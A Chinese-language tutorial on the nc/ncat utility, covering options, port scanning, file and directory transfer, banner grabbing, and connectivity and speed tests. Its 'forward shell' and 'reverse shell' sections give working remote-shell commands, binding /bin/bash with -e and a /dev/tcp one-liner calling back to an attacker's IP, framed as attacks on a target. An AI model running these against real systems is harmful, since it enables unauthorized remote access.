nc (ncat)
Ncat is a feature-packed networking utility which reads and writes data across networks from the command line;
nc(ncat)
:Ncat是一個功能豐富的網路實用工具;支援埠監聽、遠端通訊、檔案傳輸、埠掃描、反向Shell、埠轉發功能;
格式
:ncat [OPTIONS...] [hostname] [port]
常用引數:
OPTIONS | 意義 |
---|---|
-l | 使用監聽模式,意味著nc被當作server,偵聽並接受連線,而非向其它地址發起連線 |
-p | 設定本地主機使用的通訊埠 |
-s | 設定本地主機送出資料包的IP地址 |
-u | 使用UDP傳輸協議 |
-v | 顯示指令執行過程 |
-w | 設定等待連線的時間 |
-z | 使用0輸入/輸出模式,只在掃描通訊埠時使用 |
nc
、netcat
、ncat
區別:
- nc與netcat是一個元件,ncat是nmap分支下的一個命令;
- nc / ncat 在CentOS 上是同一個命令工具,是一個功能豐富的網路實用程式,可透過命令列在網路上讀寫資料;
- 使用 ncat 時,儘量不要使用 nc,避免與 netcat 衝突;
- 若安裝了ncat時,nc、netcat都成了ncat的alias,命令列裡輸入這三者都是一樣的;
netcat
和ncat
的-z
引數是不相等的;- 可透過
rpm -qa|grep nc
命令,檢視nc是指netcat還是ncat; - Ncat是在原始Netcat之上新增功能二次開發的另一款強大工具,也就是說Netcat有的功能Ncat都具備,並且Ncat還有更多強大的功能。
參考案例:
- 掃描80埠
# nc可用ncat代替
$ nc -nvv 192.168.3.1 80
- 遠端通訊
# ncat 命令在20000埠啟動了一個tcp 伺服器,所有的標準輸出和輸入會輸出到該埠;
# 輸出和輸入都在此shell中展示
Server$ nc -l 20000
Client$ nc Server-IP 20000
- 檔案傳輸
# 從Client傳輸檔案到Server
# 需要在Server上使用nc監聽,server上執行監聽命令;
Server$ nc -lp 12345 >> test.log
# Client執行傳輸命令
Client$ nc -w 1 Server-IP 12345 < xxx.log
# 從Server傳輸檔案到Client
# 需要在Server上使用nc監聽,server上執行監聽命令;
Server$ nc -lp 12345 < test.log
# Client執行傳輸命令
Client$ nc -w 1 Server-IP 12345 > xxx.log
- 目錄傳輸
# 從Client傳輸檔案到Server上;需要在Server上使用nc監聽,server上執行監聽命令;
# tar zxvf - 透過tar zxvf解壓,從管道接收到的資料,`-`表示從管道接收資料;
Server$ nc -l 23456|tar zxvf -
# tar zcvf - 透過tar zcvf壓縮,將目錄`Directory`壓縮後傳輸到管道中;`-`表示輸出到管道中;
Client$ tar zcvf - Directory | nc Server-IP 23456
- 抓取Banner資訊
# 一旦發現開放的埠,可以容易的使用ncat 連線服務抓取他們的banner
$ nc -v 172.31.100.7 21
- 正向Shell
正向shell是指攻擊機主動連線靶機,並取得shell。通俗點說就是靶機自己繫結某個埠,等攻擊機連線後將收到的資料給bash或cmd(後文簡稱shell),執行結果再丟給攻擊機。
# 正向shell是目標機(被攻擊方)先執行nc命令,然後攻擊機(攻擊方)上再進行nc連線,即可反彈shell
# 正向shell需要目標機安裝nc
# 正向shell 需要目標機firewalld可過濾
# target: 目標伺服器系統(被攻擊方)
target$ nc -lkvp 7777 -e /bin/bash
# attack: 攻擊者系統(攻擊方)
attack$ nc Target-IP 7777
- 反向shell
反向shell就是靶機帶著shell來連攻擊機,好處顯而易見就是不用擔心防火牆的問題了,當然也不是沒有缺點;缺點就是攻擊機的IP必須能支援靶機的主動定址,換句話來說就是攻擊機需要有公網IP地址;舉個例子如攻擊機是內網ip或經過了NAT,靶機是公網IP,即使取得了命令執行許可權靶機也無法將shell彈過來,這是網路環境的問題。
# attack: 攻擊者系統(攻擊方)
# -k: 當客戶端從服務端斷開連線後,過一段時間服務端也會停止監聽;透過選項 -k 可以強制伺服器保持連線並繼續監聽埠;即使來自客戶端的連線斷了server也依然會處於待命狀態;
attack$ nc -lkvnp 6677
# target: 目標伺服器系統(被攻擊方)
# -i: 指定斷開的時候,單位為秒
Client$ sh -i >& /dev/tcp/192.168.188.69/6677 0>&1
- 測試網速
# 服務端
Server$ nc -l <port> > /dev/null
# 客戶端
Client$ nc Server-IP <port> < /dev/zero
- 測試連通性
# 測試tcp埠連通性
# nc -vz ip tcp-port
$ nc -zv 192.168.188.188 5432
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.188.188:5432.
Ncat: 0 bytes sent, 0 bytes received in 0.01 seconds.
# 測試udp埠連通性
# nc -uvz ip udp-port
$ nc -uzv 192.168.188.188 7899
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.188.188:7899.
Ncat: Connection refused.
- 埠監聽
# 臨時監聽TCP埠
# nc -l port >> filename.out 將監聽內容輸入到filename.out檔案中
$ nc -l 7789 >> a.out
# 永久監聽TCP埠
# nc -lk port
$ nc -lk 7789 >> a.out
# 臨時監聽UDP
# nc -lu port
$ nc -lu 7789 >> a.out
# 永久監聽UDP
# nc -luk port
$ nc -luk 7789 >> a.out